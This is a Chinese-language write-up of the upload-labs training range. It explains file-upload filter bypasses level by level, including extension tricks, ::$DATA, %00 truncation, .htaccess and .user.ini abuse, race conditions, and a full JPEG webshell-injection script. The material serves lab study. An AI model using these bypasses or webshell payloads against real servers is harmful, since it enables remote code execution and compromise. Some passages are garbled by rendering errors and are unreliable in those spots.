从经典靶场入手,看文件上传发展经历
upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。
下载地址:https://github.com/c0ny1/upload-labs/releases
在 win 环境下 直接解压到phpstudy下即可
从以下练习中提炼出文件上传的绕过方式
上传文件类型不收限制
前端Javascript校验 - Burp抓包改包绕过
利用缺陷的文件上传验证
.
, 空格
,::$DATA
.
/
进行二次编码,适合验证文件名扩展没有解码,服务端被解码;
,%00
绕过PHP,Java 高级语言编写,服务器使用 C/C++低级函数处理文件差异黑名单过滤后缀 - 通过双写绕过
文件内容检查 - 通过添加允许文件头格式绕过
通过条件竞争实现文件上传
靶场练习主要针对后端检查绕过,从黑白名单,后端检查的内容和代码逻辑几个方面提出不同的绕过方式
有些绕过方式较为久远,我就简单介绍,其他可以在现阶段使用的上传手法给予较多的关注
一般 都是通过 JS 限制上传的文件类型,对于这种情况,我们可以采用以下几种方式绕过
靶场实战
burp 修改上传文件名的位置
获取到图片位置,通过GET方式传入 cmd 参数来获取执行系统命令
对文件类型检查有缺陷-检查Content-Type标头是否与MIME 类型匹配。
绕过方式:
image/jpeg
GET /upload/upload/webshell.php?cmd=whoami
对于黑名单限制上传文件后缀的 可以通过以下几种方式绕过
靶机实战
GET /upload/upload/20200304.php5?cmd=whoami
测试上传的后缀, php1 php2 php3 都不行,后缀被限制了,尝试上传 .htaccess 添加扩展后缀
上传 .htaccess 内容为:AddType application/x-httpd-php .l33t
上传 webshell.l33t
内容为:
访问文件,执行webshell
本关在上传目录下存在readme.php的php文件,可以利用 .user.ini 文件 使得运行 readme.php 时 包含上传的图片,相当于readme.php也有webshell.php。
user.ini
auto_prepend_file=web.jpg
web.jpg
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
服务器端检查后缀时忽略了对大小写的检测,故可以通过大写后缀绕过
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5","
.......
,".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
后端检测没有去掉首尾空格,于是上传 shell.php+空格
源码中没有过滤 .
上传时文件名为webshell.php.
,绕过对后缀的检查
源码中未对 ::$DATA
过滤
在window的时候如果文件名+":: D A T A " 会 把 : : DATA"会把:: DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名
例如:“webshell.php:: D A T A " W i n d o w s 会 自 动 去 掉 末 尾 的 : : DATA"Windows会自动去掉末尾的:: DATA"Windows会自动去掉末尾的::DATA变成"webshell.php”
上传 webshell.php::$DATA
服务端会创建对应的php文件
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
使用 deldot()
删除文件名末尾的点
deldot() 函数从末尾向前检测,检测到第一个点后,会继续向前检测,但遇到空格会停下来
可以构造文件名: webshell.php. .
绕过检测
$deny_ext = array("......");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
源码中 使用 str_ireplace
不区分大小写替换,只是替换了一次,我们可以利用双写绕过检查
上传文件名 :webshell.p.phphp
上传时会被删除 .php
最后的上传文件名: webshell.php
条件: php版本 < 5.3.4 ; magic_quotes_gpc=Off
strrpos(string,find,start) 函数查找字符串在另一字符串中最后一次出 现的位置(区分大小写)。
substr(string,start,length) 函数返回字符串的一部分**(从start开始 ,长度为 length)*
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
源码中对后缀进行白名单检测,只允许 jpg ,png,gif
但上传的路径可控,这里可以使用 %00截断
webshell.jpg
的一句话木马save_path=../upload/webshell.php%00
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
路径可控位置在POST
数据中
在burp
中 hex
请求数据中,修改php后的字节为00,
POST 不会对数据自动解码,所以修改HEX 中内容
源码读取前2个字节判断上传文件的类型,判断通过后,便重新给文件赋予新的后缀名
在这一关,除了上传,还存在一个 include.php
文件,存在文件包含漏洞,可以利用文件包含漏洞请求上传的文件
构造:include.php?file=upload/shell.jpg
,include 会以本文的形式读取shell.jpg
的内容,这样存在于shell.jpg
里的一句话木马就可以执行
图片文件头格式:
文件头部格式:https://blog.csdn.net/xiangshangbashaonian/article/details/80156865
PNG文件头: 89 50 4E 47 0D 0A 1A 0A
JPG文件头: FF D8 FF
GIF (gif)文件头:47494638
image_type_to_extension 根据指定的图像类型返回对应的后缀名
和Pass-14 做法一致
exif_imagetype() 判断一个图像的类型,读取一个图像的第一个字节并检查其签名。
本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 [$_SERVER’HTTP_ACCEPT’] 结合使用来检查浏览器是否可以显示某个指定的图像。
需要开启 php_exif模块
做法和Pass-14 一致
上传的图片和上传后的图片大小不一致,断定这里存在图片二次渲染
绕过方法:测试图片的渲染后没有修改的位置,将一句话木马添加进去,这样就可以利用文件包含去执行php一句话木马了
对于GIF 的上传,只需要判断没有修改的位置,然后将php一句话木马添加即可
对于PNG的上传,需要修改PLTE数据块或者修改IDAT数据块,
这里可以利用别人写好的脚本,将php一句话 =$_GET[0]($_POST[1])?>,一句话利用了php短开标签
另一个要注意的点,0 这里不用使用eval,eval是一个语言构造器,而不是一个函数,不能被可变函数调用;
对于JPG 的上传
命令: php jpg_paload.php 1.jpg
1.jpg 为正常的图片,执行后得到新的payload_1.jpg 为添加php一句话木马后的
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php ');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
另一个方式:
在move_uploaded_file($tmpname,$target_path)
返回true的时候,就已经成功将图片马上传到服务器了,
所以我们可以利用这个上传的间隙去执行php文件,实现绕过。
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
源码中的逻辑:这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell。
条件竞争漏洞:由于服务器端在处理不同的请求时是并发进行的,因此如果并发处理不当或相关操作顺序设计的不合理时,将会导致此类问题的发生
触发:
将上传页面和文件包含触发漏洞页面发送到Burp的intruder,然后payload设置为null,即可触发条件竞争漏洞
对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功
在这一关要注意上传后的文件名:uploadxxx.jpg
成功上传还没重命名的,通过include.php实现包含
save_name
可控,可以通过 .
,空格,00截断绕过对后缀的判断,
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
源码逻辑:
.
分割化为数组故:
上传 webshell.php
, 修改save_name
为数组 绕过对 f i l e 的 切 割 , 最 后 file 的切割,最后 file的切割,最后file 最后一个元素是 save_name[2] = jpg
绕过后缀检测 , 然后reset($file) = webshell.php
$file[1]
没有定义为空,count($file)
的值为$file[count($file) - 1]
= $file[1]
所以最后上传的文件为webshell.php
允许用户上传文件是司空见惯的事,只要您采取正确的预防措施,就不一定会有危险。一般来说,保护您自己的网站免受这些漏洞影响的最有效方法是实施以下所有做法:
文章首发于个人微信公众号:石头安全